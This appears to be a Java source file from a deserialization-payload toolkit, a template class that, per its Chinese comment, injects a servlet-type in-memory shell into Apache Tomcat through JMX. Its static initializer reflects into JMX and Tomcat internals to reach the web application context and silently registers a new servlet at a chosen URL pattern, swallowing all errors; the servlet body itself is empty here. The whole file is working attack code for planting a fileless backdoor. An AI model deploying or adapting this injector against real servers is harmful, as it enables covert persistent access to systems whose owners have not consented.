content: package org.su18.ysuserial.payloads.templates.memshell.tomcat;
  
  import com.sun.jmx.mbeanserver.NamedObject;
  import org.apache.catalina.core.ApplicationServletRegistration;
  import org.apache.catalina.core.StandardContext;
  import org.apache.tomcat.util.modeler.Registry;
  
  import javax.management.DynamicMBean;
  import javax.management.MBeanServer;
  import javax.servlet.*;
  import java.lang.reflect.Field;
  import java.util.Set;
  
  import com.sun.jmx.mbeanserver.Repository;
  import org.apache.catalina.Wrapper;
  
  import javax.management.ObjectName;
  
  /**
   * 使用 JMX Bean 注入 Tomcat Servlet 型内存马
   */
  public class TSMSFromJMX implements Servlet {
  
  	public static String pattern;
  
  	public static String NAME;
  
  	static {
  		try {
  			MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();
  			Field       field       = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
  			field.setAccessible(true);
  			Object obj = field.get(mbeanServer);
  
  			field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
  			field.setAccessible(true);
  			Repository repository = (Repository) field.get(obj);
  
  			Set<NamedObject> objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
  			if (objectSet.size() == 0) {
  				// springboot的jmx中为Tomcat而非Catalina
  				objectSet = repository.query(new ObjectName("Tomcat:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
  			}
  			for (NamedObject namedObject : objectSet) {
  				DynamicMBean dynamicMBean = namedObject.getObject();
  				field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
  				field.setAccessible(true);
  				obj = field.get(dynamicMBean);
  
  				field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
  				field.setAccessible(true);
  				StandardContext standardContext = (StandardContext) field.get(obj);
  
  				if (standardContext.findChild(NAME) == null) {
  					Wrapper wrapper = standardContext.createWrapper();
  					wrapper.setName(NAME);
  					standardContext.addChild(wrapper);
  					Servlet servlet = new TSMSFromJMX();
  					wrapper.setServletClass(servlet.getClass().getName());
  					wrapper.setServlet(servlet);
  					ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext);
  					registration.addMapping(pattern);
  				}
  			}
  		} catch (Exception ignored) {
  		}
  	}
  
  	@Override
  	public void init(ServletConfig servletConfig) throws ServletException {
  
  	}
  
  	@Override
  	public ServletConfig getServletConfig() {
  		return null;
  	}
  
  	@Override
  	public void service(ServletRequest servletRequest, ServletResponse servletResponse) {
  	}
  
  	@Override
  	public String getServletInfo() {
  		return null;
  	}
  
  	@Override
  	public void destroy() {
  	}
  }